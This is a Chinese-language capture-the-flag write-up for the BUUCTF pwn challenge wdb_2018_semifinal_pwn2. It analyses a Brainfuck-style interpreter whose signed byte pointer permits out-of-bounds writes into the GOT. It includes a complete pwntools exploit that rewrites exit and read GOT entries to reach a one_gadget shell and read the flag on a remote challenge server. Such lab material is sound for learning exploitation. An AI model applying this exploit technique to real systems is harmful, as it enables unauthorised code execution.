[BUUCTF-pwn] wdb_2018_semifinal_pwn2

又是一个虚拟机的题,干到一半想放弃了,搜不到wp又回来慢慢作。

先看题目:

  for ( byte_6024C1 = 0; ; ++byte_6024C1 )
  {
    byte_6028E1 = byte_6024E0[byte_6024C1];
    if ( !byte_6028E1 )
      break;
    byte_6028E0 = 0;
    if ( byte_6028E1 == 62 )                    // >  先后移指针
      ++byte_6024C0;
    if ( byte_6028E1 == 60 )                    // <
      --byte_6024C0;
    if ( byte_6028E1 == 43 )                    // +  指针处加1
      ++byte_6020C0[byte_6024C0];
    if ( byte_6028E1 == 45 )                    // -
      --byte_6020C0[byte_6024C0];
    if ( byte_6028E1 == 46 )                    // . 输出
      _IO_putc(byte_6020C0[byte_6024C0], stdout);
    if ( byte_6028E1 == 44 )                    // , 输入
      read(0, &byte_6020C0[byte_6024C0], 1uLL);
    while ( byte_6028E1 == 91 && !byte_6020C0[byte_6024C0] )// [
    {
      if ( byte_6024E0[byte_6024C1] == 91 )
        ++byte_6028E0;
      if ( byte_6024E0[byte_6024C1] == 93 )
      {
        v3 = byte_6028E0--;
        if ( v3 == 1 )
          break;
      }
      ++byte_6024C1;
    }
    while ( byte_6028E1 == 93 && byte_6020C0[byte_6024C0] )// ]
    {
      if ( byte_6024E0[byte_6024C1] == 93 )
        ++byte_6028E0;
      if ( byte_6024E0[byte_6024C1] == 91 )
      {
        v4 = byte_6028E0--;
        if ( v4 == 1 )
          break;
      }
      --byte_6024C1;
    }

一共8个功能符,<>向前向后移动指针; +-指针处值增减;.,分别是输出字符和输入字符

但干到一半才发现这个逗号有问题

read(0, &byte_6020C0[byte_6024C0], 1uLL);

在一个指针前边加了一个&变成地址,也就是指针的指针,这就导致这里不能正确读入。也许大部分人到这里就放弃了。

再看另一个坑点:

--byte_6024C0;

这里用到的两个指针byte_6024C0, byte_6020C0都是byte类型的,byte只有1字节还是有符号的,所以处理只 处理输入只有到127,向后只能到-128这就造成输入串只能是128位,向后可处理范围到-128

再看下附近可修改的内容

0x602020 <printf@got.plt>:	0x00007f4693749810	0x00000000004006f6
0x602030 <memset@got.plt>:	0x00007f4693866a30	0x00007f46937c0280
0x602040 <read@got.plt>:	0x00007f46937eb310	0x00007f46937293d0
0x602050 <setvbuf@got.plt>:	0x00007f4693763e80	0x0000000000400756
0x602060 <exit@got.plt>:	0x0000000000400766	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080 <stdout>:	0x00007f4693ab9620	0x0000000000000000
0x602090 <stdin>:	0x00007f4693ab88e0	0x0000000000000000
0x6020a0 <stderr>:	0x00007f4693ab9540	0x0000000000000000

最远可以到达read,这正是想要的,把read改成one就OK了,但是到这里就需要128字符,然后就退出了,所以

第1步要造个循环:

把got.exit改为_start这个需要的字符数不多,修改完exit后基本快用完了,这个改完后还可以加几个<尽量向前移动指针,不过空间很小移不了多少。

第2步由于第一步指针已经向前移了不少,只需要移到read+3修改3位就好了。

from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
    libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
    one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
    libc_start_main_ret = 0x20840
else:
    p = remote('node4.buuoj.cn', 25916) 
    libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')
    one = [0x45216, 0x4526a, 0xcd0f3, 0xcd1c8,0xf02a4,0xf02b0,0xf1147,0xf66f0 ]
    libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'

def change(tva, tvb):
    tva = tva[::-1]
    tvb = tvb[::-1]
    sv = ''
    for i in range(8):
        sv += '<'
        tmp = tva[i] - tvb[i]
        if tmp < 0:
            tmp = 0- tmp
            if tmp > 0x80:
                sv += '-'*(256-tmp)
            else:
                sv += '+'*tmp
        elif tmp > 0:
            if tmp > 0x80:
                sv += '+'*(256-tmp)
            else:
                sv += '-'*tmp

    return sv

#0x602060 <exit@got.plt>:	    0x0000000000400766	<--  0x400770
payload = '<'*(0xc0 - 0x68)+ change(p64(0x400766), p64(0x400770)) + '<'*(0x8+3) + '.<'*6
p.sendlineafter(b"Put the code: ", payload.encode())

'''
0x602020 <printf@got.plt>:	0x00007f4693749810	0x00000000004006f6
0x602030 <memset@got.plt>:	0x00007f4693866a30	0x00007f46937c0280
0x602040 <read@got.plt>:	0x00007f46937eb310	0x00007f46937293d0
0x602050 <setvbuf@got.plt>:	0x00007f4693763e80	0x0000000000400756
0x602060 <exit@got.plt>:	0x0000000000400766	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080 <stdout>:	0x00007f4693ab9620	0x0000000000000000
0x602090 <stdin>:	0x00007f4693ab88e0	0x0000000000000000
0x6020a0 <stderr>:	0x00007f4693ab9540	0x0000000000000000
'''
#gdb.attach(p, 'b*0x400b30')

one_gadget = one[6]  #local 2 remote 6
target     = libc_elf.sym['read']
payload = '<'*0x8 + change(p64(target), p64(one_gadget)) + ','
p.sendlineafter(b"Put the code: ", payload.encode())

p.sendline(b'cat /flag')
p.recv()

另外这时修改的时候也需要注意,如果把01改成FF应该是--,也就是找一个最近的路径。由于本地和远端的libc不同,one也不同,本地用2成功,远端用6成功,我这里第一步还可以多移几下然后后边可以多输入6个字符,也许其它的也能成功,不过概率不大。没试。

上一篇:Linux查看GLIBC版本号


下一篇:从0到1上线web项目全流程(和半仙君学的)